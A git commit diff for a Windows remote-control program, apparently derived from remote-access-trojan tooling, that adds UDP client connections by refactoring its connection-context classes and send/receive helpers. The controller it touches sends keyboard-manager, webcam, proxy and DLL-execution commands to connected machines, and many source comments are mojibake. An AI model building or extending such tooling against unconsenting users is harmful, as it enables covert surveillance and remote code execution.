feature: Support client connections over UDP
This commit is contained in:
@@ -28,7 +28,7 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
|
|||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
||||||
static ThreadInfo tKeyboard;
|
static ThreadInfo tKeyboard;
|
||||||
tKeyboard.run = FOREVER_RUN;
|
tKeyboard.run = FOREVER_RUN;
|
||||||
tKeyboard.p = NewNetClient(conn, bExit, false);
|
tKeyboard.p = new IOCPClient(bExit, false);
|
||||||
tKeyboard.conn = conn;
|
tKeyboard.conn = conn;
|
||||||
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||||
return &tKeyboard;
|
return &tKeyboard;
|
||||||
|
|||||||
@@ -138,7 +138,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ洢<DAB4><E6B4A2><EFBFBD>õ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ洢<DAB4><E6B4A2><EFBFBD>õ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
// TODO: Ӧ<>ʵ<EFBFBD><CAB5>ĸ<DEB8><C4B8>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
// TODO: Ӧ<>ʵ<EFBFBD><CAB5>ĸ<DEB8><C4B8>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
||||||
SetRegistryKey(_T("Remoter"));
|
SetRegistryKey(_T("YAMA"));
|
||||||
|
|
||||||
CMy2015RemoteDlg dlg(nullptr);
|
CMy2015RemoteDlg dlg(nullptr);
|
||||||
m_pMainWnd = &dlg;
|
m_pMainWnd = &dlg;
|
||||||
|
|||||||
@@ -1036,8 +1036,9 @@ void CMy2015RemoteDlg::Release(){
|
|||||||
int n = m_CList_Online.GetItemCount();
|
int n = m_CList_Online.GetItemCount();
|
||||||
for(int Pos = 0; Pos < n; ++Pos)
|
for(int Pos = 0; Pos < n; ++Pos)
|
||||||
{
|
{
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
context* ContextObject = (context*)m_CList_Online.GetItemData(Pos);
|
||||||
ContextObject->Send2Client( &bToken, sizeof(BYTE));
|
ContextObject->Send2Client( &bToken, sizeof(BYTE));
|
||||||
|
ContextObject->Destroy();
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
Sleep(500);
|
Sleep(500);
|
||||||
@@ -1436,10 +1437,10 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
|||||||
while(Pos)
|
while(Pos)
|
||||||
{
|
{
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE)
|
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
|
||||||
continue;
|
continue;
|
||||||
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("无"))
|
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString("无"))
|
||||||
{
|
{
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
@@ -1632,8 +1633,10 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
|
|||||||
|
|
||||||
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||||
{
|
{
|
||||||
if (!g_2015RemoteDlg)
|
if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) {
|
||||||
|
ContextObject->Destroy();
|
||||||
return;
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
AUTO_TICK(50);
|
AUTO_TICK(50);
|
||||||
|
|
||||||
@@ -1771,6 +1774,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
case TOKEN_HEARTBEAT: case 137:
|
case TOKEN_HEARTBEAT: case 137:
|
||||||
UpdateActiveWindow(ContextObject);
|
UpdateActiveWindow(ContextObject);
|
||||||
|
ContextObject->Destroy();
|
||||||
break;
|
break;
|
||||||
case SOCKET_DLLLOADER: {// 请求DLL
|
case SOCKET_DLLLOADER: {// 请求DLL
|
||||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||||
@@ -1890,16 +1894,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
sockaddr_in ClientAddr;
|
strIP = ContextObject->GetPeerName().c_str();
|
||||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
|
||||||
int iClientAddrLen = sizeof(sockaddr_in);
|
|
||||||
SOCKET nSocket = ContextObject->sClientSocket;
|
|
||||||
BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
|
|
||||||
// 不合法的数据包
|
// 不合法的数据包
|
||||||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
|
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
|
||||||
{
|
{
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
|
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
|
||||||
Mprintf(buf);
|
Mprintf(buf);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
@@ -1912,7 +1912,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
if (!ContextObject->bLogin) {
|
if (!ContextObject->bLogin) {
|
||||||
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
|
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
|
||||||
}
|
}
|
||||||
strIP = inet_ntoa(ClientAddr.sin_addr);
|
|
||||||
|
|
||||||
//主机名称
|
//主机名称
|
||||||
strPCName = LoginInfor->szPCName;
|
strPCName = LoginInfor->szPCName;
|
||||||
@@ -1934,7 +1933,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
strVideo = m_settings.DetectSoftware ? "无" : LoginInfor->bWebCamIsExist ? "有" : "无";
|
strVideo = m_settings.DetectSoftware ? "无" : LoginInfor->bWebCamIsExist ? "有" : "无";
|
||||||
|
|
||||||
strAddr.Format("%d", nSocket);
|
strAddr.Format("%d", ContextObject->GetPort());
|
||||||
auto v = LoginInfor->ParseReserved(RES_MAX);
|
auto v = LoginInfor->ParseReserved(RES_MAX);
|
||||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
|
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
|
||||||
delete LoginInfor;
|
delete LoginInfor;
|
||||||
@@ -1993,10 +1992,10 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
|
|||||||
|
|
||||||
CLock L(m_cs);
|
CLock L(m_cs);
|
||||||
int n = m_CList_Online.GetItemCount();
|
int n = m_CList_Online.GetItemCount();
|
||||||
DWORD_PTR cur = (DWORD_PTR)ctx;
|
context* cur = (context*)ctx;
|
||||||
for (int i = 0; i < n; ++i) {
|
for (int i = 0; i < n; ++i) {
|
||||||
DWORD_PTR id = m_CList_Online.GetItemData(i);
|
context* id = (context*)m_CList_Online.GetItemData(i);
|
||||||
if (id == cur) {
|
if (cur->IsEqual(id)) {
|
||||||
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
||||||
if (hb.Ping > 0)
|
if (hb.Ping > 0)
|
||||||
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
|
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
|
||||||
@@ -2018,8 +2017,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
|||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
|
for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
|
||||||
{
|
{
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
context* ContextObject = (context*)m_CList_Online.GetItemData(i);
|
||||||
if (!ContextObject->bLogin)
|
if (!ContextObject->IsLogin())
|
||||||
continue;
|
continue;
|
||||||
ContextObject->Send2Client(buf, sizeof(buf));
|
ContextObject->Send2Client(buf, sizeof(buf));
|
||||||
}
|
}
|
||||||
@@ -2198,7 +2197,7 @@ void CMy2015RemoteDlg::OnMainProxy()
|
|||||||
while (Pos)
|
while (Pos)
|
||||||
{
|
{
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
BYTE cmd[] = { COMMAND_PROXY };
|
BYTE cmd[] = { COMMAND_PROXY };
|
||||||
ContextObject->Send2Client( cmd, sizeof(cmd));
|
ContextObject->Send2Client( cmd, sizeof(cmd));
|
||||||
break;
|
break;
|
||||||
@@ -2223,12 +2222,12 @@ void CMy2015RemoteDlg::OnOnlineHostnote()
|
|||||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
while (Pos) {
|
while (Pos) {
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
auto f = m_ClientMap.find(ContextObject->ID);
|
auto f = m_ClientMap.find(ContextObject->GetClientID());
|
||||||
if (f == m_ClientMap.end())
|
if (f == m_ClientMap.end())
|
||||||
m_ClientMap[ContextObject->ID] = ClientValue("", dlg.m_str);
|
m_ClientMap[ContextObject->GetClientID()] = ClientValue("", dlg.m_str);
|
||||||
else
|
else
|
||||||
m_ClientMap[ContextObject->ID].UpdateNote(dlg.m_str);
|
m_ClientMap[ContextObject->GetClientID()].UpdateNote(dlg.m_str);
|
||||||
m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str);
|
m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str);
|
||||||
modified = TRUE;
|
modified = TRUE;
|
||||||
}
|
}
|
||||||
@@ -2549,7 +2548,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
|
|||||||
while (Pos && menuIndex < m_DllList.size()) {
|
while (Pos && menuIndex < m_DllList.size()) {
|
||||||
Buffer* buf = m_DllList[menuIndex]->Data;
|
Buffer* buf = m_DllList[menuIndex]->Data;
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
@@ -2621,7 +2620,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
if (pNMItem->iItem >= 0)
|
if (pNMItem->iItem >= 0)
|
||||||
{
|
{
|
||||||
// 获取数据
|
// 获取数据
|
||||||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(pNMItem->iItem);
|
context* ctx = (context*)m_CList_Online.GetItemData(pNMItem->iItem);
|
||||||
CString res[RES_MAX];
|
CString res[RES_MAX];
|
||||||
CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||||
ctx->GetAdditionalData(res);
|
ctx->GetAdditionalData(res);
|
||||||
|
|||||||
@@ -446,13 +446,12 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
// May be this function should be a member of `CONTEXT_OBJECT`.
|
||||||
{
|
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (dwTrans == 0) //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
if (dwTrans == 0) //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
{
|
{
|
||||||
RemoveStaleContext(ContextObject);
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff 8192
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff 8192
|
||||||
@@ -543,14 +542,23 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||||
}
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||||
|
{
|
||||||
|
if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) {
|
||||||
|
RemoveStaleContext(ContextObject);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
|
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
|
||||||
{
|
assert(ContextObject);
|
||||||
assert (ContextObject);
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
|
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
|
||||||
char buf[100] = { 0 };
|
char buf[100] = { 0 };
|
||||||
@@ -566,10 +574,10 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
|||||||
{
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if (ulOriginalLength <= 0) return;
|
if (ulOriginalLength <= 0) return FALSE;
|
||||||
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
|
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
|
||||||
Mprintf("[ERROR] UNKNOWN compress method \n");
|
Mprintf("[ERROR] UNKNOWN compress method \n");
|
||||||
return;
|
return FALSE;
|
||||||
}
|
}
|
||||||
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
||||||
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
||||||
@@ -595,7 +603,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
|||||||
{
|
{
|
||||||
Mprintf("[ERROR] compress failed \n");
|
Mprintf("[ERROR] compress failed \n");
|
||||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||||
return;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
|
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
|
||||||
@@ -604,6 +612,17 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
|||||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||||
}while (false);
|
}while (false);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
Mprintf("[ERROR] OnClientPreSending catch an error \n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
|
||||||
|
{
|
||||||
|
if (WriteContextData(ContextObject, szBuffer, ulOriginalLength)){
|
||||||
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
||||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
|
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
|
||||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||||
@@ -613,8 +632,6 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
|||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
}
|
}
|
||||||
}catch(...){
|
|
||||||
Mprintf("[ERROR] OnClientPreSending catch an error \n");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -183,3 +183,7 @@ public:
|
|||||||
};
|
};
|
||||||
|
|
||||||
typedef CDialogBase DialogBase;
|
typedef CDialogBase DialogBase;
|
||||||
|
|
||||||
|
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc);
|
||||||
|
|
||||||
|
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
#include "IOCPUDPServer.h"
|
#include "IOCPUDPServer.h"
|
||||||
#include <thread>
|
#include <thread>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
|
||||||
IOCPUDPServer::IOCPUDPServer() {
|
IOCPUDPServer::IOCPUDPServer() {
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
@@ -50,7 +51,7 @@ void IOCPUDPServer::PostRecv() {
|
|||||||
if (!m_running) return;
|
if (!m_running) return;
|
||||||
|
|
||||||
AddCount(1);
|
AddCount(1);
|
||||||
CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
|
CONTEXT_UDP* ctx = new CONTEXT_UDP();
|
||||||
ctx->InitMember(m_socket, this);
|
ctx->InitMember(m_socket, this);
|
||||||
|
|
||||||
IO_CONTEXT* ioCtx = new IO_CONTEXT();
|
IO_CONTEXT* ioCtx = new IO_CONTEXT();
|
||||||
@@ -59,7 +60,6 @@ void IOCPUDPServer::PostRecv() {
|
|||||||
|
|
||||||
ctx->wsaInBuf.buf = ctx->szBuffer;
|
ctx->wsaInBuf.buf = ctx->szBuffer;
|
||||||
ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
|
ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
|
||||||
ctx->addrLen = sizeof(sockaddr_in);
|
|
||||||
|
|
||||||
DWORD flags = 0;
|
DWORD flags = 0;
|
||||||
int err = WSARecvFrom(
|
int err = WSARecvFrom(
|
||||||
@@ -104,14 +104,11 @@ void IOCPUDPServer::WorkerThread() {
|
|||||||
if (!pOverlapped) continue;
|
if (!pOverlapped) continue;
|
||||||
|
|
||||||
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||||
CONTEXT_OBJECT* ctx = ioCtx->pContext;
|
CONTEXT_UDP* ctx = ioCtx->pContext;
|
||||||
|
ParseReceivedData(ctx, bytes, m_notify);
|
||||||
if (m_notify)
|
|
||||||
m_notify(ctx);
|
|
||||||
|
|
||||||
// <20>ͷ<EFBFBD>
|
// <20>ͷ<EFBFBD>
|
||||||
delete ioCtx;
|
delete ioCtx;
|
||||||
delete ctx;
|
|
||||||
AddCount(-1);
|
AddCount(-1);
|
||||||
|
|
||||||
PostRecv(); // <20><><EFBFBD><EFBFBD><EFBFBD>ύ
|
PostRecv(); // <20><><EFBFBD><EFBFBD><EFBFBD>ύ
|
||||||
@@ -119,15 +116,22 @@ void IOCPUDPServer::WorkerThread() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||||
WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer };
|
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||||
|
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
|
||||||
|
return;
|
||||||
|
WSABUF buf = {
|
||||||
|
ContextObject->OutCompressedBuffer.GetBufferLength(),
|
||||||
|
(CHAR*)ContextObject->OutCompressedBuffer.GetBuffer(),
|
||||||
|
};
|
||||||
DWORD sent = 0;
|
DWORD sent = 0;
|
||||||
|
CONTEXT_UDP* ctx = (CONTEXT_UDP*)ContextObject;
|
||||||
int err = WSASendTo(
|
int err = WSASendTo(
|
||||||
ContextObject->sClientSocket,
|
ContextObject->sClientSocket,
|
||||||
&buf,
|
&buf,
|
||||||
1,
|
1,
|
||||||
&sent,
|
&sent,
|
||||||
0,
|
0,
|
||||||
(sockaddr*)&ContextObject->clientAddr,
|
(sockaddr*)&ctx->clientAddr,
|
||||||
sizeof(sockaddr_in),
|
sizeof(sockaddr_in),
|
||||||
NULL,
|
NULL,
|
||||||
NULL
|
NULL
|
||||||
|
|||||||
@@ -41,6 +41,6 @@ private:
|
|||||||
|
|
||||||
struct IO_CONTEXT {
|
struct IO_CONTEXT {
|
||||||
OVERLAPPED ol;
|
OVERLAPPED ol;
|
||||||
CONTEXT_OBJECT* pContext;
|
CONTEXT_UDP* pContext;
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -8,6 +8,7 @@
|
|||||||
#include "Buffer.h"
|
#include "Buffer.h"
|
||||||
#define XXH_INLINE_ALL
|
#define XXH_INLINE_ALL
|
||||||
#include "xxhash.h"
|
#include "xxhash.h"
|
||||||
|
#include <WS2tcpip.h>
|
||||||
|
|
||||||
#define PACKET_LENGTH 0x2000
|
#define PACKET_LENGTH 0x2000
|
||||||
|
|
||||||
@@ -250,9 +251,32 @@ public:
|
|||||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
||||||
};
|
};
|
||||||
|
|
||||||
typedef class CONTEXT_OBJECT
|
class context {
|
||||||
|
public:
|
||||||
|
// <20><><EFBFBD>麯<EFBFBD><E9BAAF>
|
||||||
|
virtual VOID InitMember(SOCKET s, Server* svr)=0;
|
||||||
|
virtual void Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||||||
|
virtual CString GetClientData(int index)const = 0;
|
||||||
|
virtual void GetAdditionalData(CString(&s)[RES_MAX]) const =0;
|
||||||
|
virtual uint64_t GetClientID() const = 0;
|
||||||
|
virtual std::string GetPeerName() const = 0;
|
||||||
|
virtual int GetPort() const = 0;
|
||||||
|
|
||||||
|
public:
|
||||||
|
virtual ~context() {}
|
||||||
|
virtual void Destroy() {}
|
||||||
|
virtual BOOL IsLogin() const {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
virtual bool IsEqual(context *ctx) const {
|
||||||
|
return this == ctx || (GetPeerName() == ctx->GetPeerName() && GetPort() == ctx->GetPort());
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef class CONTEXT_OBJECT : public context
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
|
virtual ~CONTEXT_OBJECT(){}
|
||||||
CString sClientInfo[ONLINELIST_MAX];
|
CString sClientInfo[ONLINELIST_MAX];
|
||||||
CString additonalInfo[RES_MAX];
|
CString additonalInfo[RES_MAX];
|
||||||
SOCKET sClientSocket;
|
SOCKET sClientSocket;
|
||||||
@@ -273,8 +297,6 @@ public:
|
|||||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
